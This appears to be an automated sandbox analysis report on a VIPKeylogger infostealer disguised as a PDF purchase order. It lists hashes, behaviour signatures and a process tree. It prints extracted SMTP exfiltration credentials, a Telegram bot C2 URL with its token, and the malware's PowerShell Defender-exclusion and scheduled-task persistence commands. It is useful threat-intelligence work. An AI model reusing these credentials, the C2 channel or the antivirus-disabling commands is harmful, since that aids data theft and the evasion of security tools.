Analysis

  • max time kernel
    145s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250410-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250410-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/04/2025, 18:14

General

  • Target

    PO 8620801 .pdf.exe

  • Size

    892KB

  • MD5

    60d3c0ba8ba14dc2070d16baf18a1986

  • SHA1

    244244ab1ebda098d7792eaea063cbad5fb16945

  • SHA256

    77b6742a4beccef32d22a13aa555eb35537265ecc3662f845d48a86dc126c875

  • SHA512

    d3304af1f4e3cc82fa4caa56e100f27efe1276a93697dc5a74ec6e540c3a9a44b1fde5c4ce7e798a1de1b89c88bd6c950f5b397becdf5aa6d476cb7b08263aa6

  • SSDEEP

    12288:Uoi6cfy84PI96XOnna8NymofY/6ZPcnrVGh06v75VZbuOY78cXrzzfdWsYYT:Xi6cWwYsYmoYTrVyl7buOW3zlnf

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    mail.puyehuechile.cl
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    Daem2024.

Extracted

Family

vipkeylogger

Credentials
C2

https://api.telegram.org/bot7734343353:AAEmQvfIoOWaFhz75a3JZ6hyXwpiKyq7nnY/sendMessage?chat_id=7049826127

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\PO 8620801 .pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\PO 8620801 .pdf.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2292
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\PO 8620801 .pdf.exe"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1052
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\VkAtJFoAQ.exe"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1816
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VkAtJFoAQ" /XML "C:\Users\Admin\AppData\Local\Temp\tmp2769.tmp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Scheduled Task/Job: Scheduled Task
      PID:4564
    • C:\Users\Admin\AppData\Local\Temp\PO 8620801 .pdf.exe
      "C:\Users\Admin\AppData\Local\Temp\PO 8620801 .pdf.exe"
      2⤵
      • Accesses Microsoft Outlook profiles
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • outlook_office_path
      • outlook_win_path
      PID:4948

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_njb2v5yy.isx.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\tmp2769.tmp

    Filesize

    1KB

    MD5

    c073eb68554fe18bdf9e5e223ae9b6d7

    SHA1

    280b0fb7cff5688e9f4c6719a81484b4e213915a

    SHA256

    cdae9b81ba29030a1e554c902f12b7065611728f5e9fa3ebf969c51529e36c59

    SHA512

    9a4d343cf90430e262455a1b31f989d586aae3e8cc2ea37b19f0d19dd36c33c7ecf8850e1bd9c376d37cceb5e6fd342dead4779bf28bd26d2c3ab6de4cb10c89

  • memory/1052-73-0x0000000007F20000-0x000000000859A000-memory.dmp

    Filesize

    6.5MB

  • memory/1052-20-0x0000000005E70000-0x0000000005ED6000-memory.dmp

    Filesize

    408KB

  • memory/1052-85-0x0000000074E20000-0x00000000755D0000-memory.dmp

    Filesize

    7.7MB

  • memory/1052-80-0x0000000007C10000-0x0000000007C2A000-memory.dmp

    Filesize

    104KB

  • memory/1052-77-0x0000000007AD0000-0x0000000007AE1000-memory.dmp

    Filesize

    68KB

  • memory/1052-75-0x0000000007940000-0x000000000794A000-memory.dmp

    Filesize

    40KB

  • memory/1052-72-0x0000000007790000-0x0000000007833000-memory.dmp

    Filesize

    652KB

  • memory/1052-71-0x0000000006B50000-0x0000000006B6E000-memory.dmp

    Filesize

    120KB

  • memory/1052-51-0x0000000071600000-0x000000007164C000-memory.dmp

    Filesize

    304KB

  • memory/1052-15-0x0000000002C80000-0x0000000002CB6000-memory.dmp

    Filesize

    216KB

  • memory/1052-16-0x0000000074E20000-0x00000000755D0000-memory.dmp

    Filesize

    7.7MB

  • memory/1052-17-0x0000000005840000-0x0000000005E68000-memory.dmp

    Filesize

    6.2MB

  • memory/1052-18-0x0000000074E20000-0x00000000755D0000-memory.dmp

    Filesize

    7.7MB

  • memory/1052-48-0x00000000065B0000-0x00000000065CE000-memory.dmp

    Filesize

    120KB

  • memory/1052-21-0x0000000005F50000-0x0000000005FB6000-memory.dmp

    Filesize

    408KB

  • memory/1052-49-0x0000000006640000-0x000000000668C000-memory.dmp

    Filesize

    304KB

  • memory/1052-19-0x00000000054E0000-0x0000000005502000-memory.dmp

    Filesize

    136KB

  • memory/1052-24-0x0000000005FC0000-0x0000000006314000-memory.dmp

    Filesize

    3.3MB

  • memory/1816-25-0x0000000074E20000-0x00000000755D0000-memory.dmp

    Filesize

    7.7MB

  • memory/1816-84-0x0000000074E20000-0x00000000755D0000-memory.dmp

    Filesize

    7.7MB

  • memory/1816-81-0x0000000007890000-0x0000000007898000-memory.dmp

    Filesize

    32KB

  • memory/1816-79-0x00000000077B0000-0x00000000077C4000-memory.dmp

    Filesize

    80KB

  • memory/1816-78-0x00000000077A0000-0x00000000077AE000-memory.dmp

    Filesize

    56KB

  • memory/1816-23-0x0000000074E20000-0x00000000755D0000-memory.dmp

    Filesize

    7.7MB

  • memory/1816-76-0x00000000077F0000-0x0000000007886000-memory.dmp

    Filesize

    600KB

  • memory/1816-74-0x0000000007570000-0x000000000758A000-memory.dmp

    Filesize

    104KB

  • memory/1816-52-0x0000000071600000-0x000000007164C000-memory.dmp

    Filesize

    304KB

  • memory/1816-35-0x0000000074E20000-0x00000000755D0000-memory.dmp

    Filesize

    7.7MB

  • memory/1816-50-0x00000000071D0000-0x0000000007202000-memory.dmp

    Filesize

    200KB

  • memory/2292-2-0x00000000054F0000-0x0000000005A94000-memory.dmp

    Filesize

    5.6MB

  • memory/2292-3-0x0000000004F40000-0x0000000004FD2000-memory.dmp

    Filesize

    584KB

  • memory/2292-10-0x00000000063B0000-0x000000000643E000-memory.dmp

    Filesize

    568KB

  • memory/2292-47-0x0000000074E20000-0x00000000755D0000-memory.dmp

    Filesize

    7.7MB

  • memory/2292-7-0x0000000006260000-0x0000000006274000-memory.dmp

    Filesize

    80KB

  • memory/2292-9-0x0000000074E20000-0x00000000755D0000-memory.dmp

    Filesize

    7.7MB

  • memory/2292-6-0x0000000005190000-0x000000000522C000-memory.dmp

    Filesize

    624KB

  • memory/2292-4-0x0000000004F00000-0x0000000004F0A000-memory.dmp

    Filesize

    40KB

  • memory/2292-0-0x0000000074E2E000-0x0000000074E2F000-memory.dmp

    Filesize

    4KB

  • memory/2292-5-0x0000000074E20000-0x00000000755D0000-memory.dmp

    Filesize

    7.7MB

  • memory/2292-1-0x0000000000550000-0x0000000000636000-memory.dmp

    Filesize

    920KB

  • memory/2292-8-0x0000000074E2E000-0x0000000074E2F000-memory.dmp

    Filesize

    4KB

  • memory/4948-36-0x0000000000400000-0x000000000044A000-memory.dmp

    Filesize

    296KB

  • memory/4948-86-0x0000000006660000-0x0000000006822000-memory.dmp

    Filesize

    1.8MB

  • memory/4948-87-0x00000000064E0000-0x0000000006530000-memory.dmp

    Filesize

    320KB

  • memory/4948-88-0x0000000006E60000-0x000000000738C000-memory.dmp

    Filesize

    5.2MB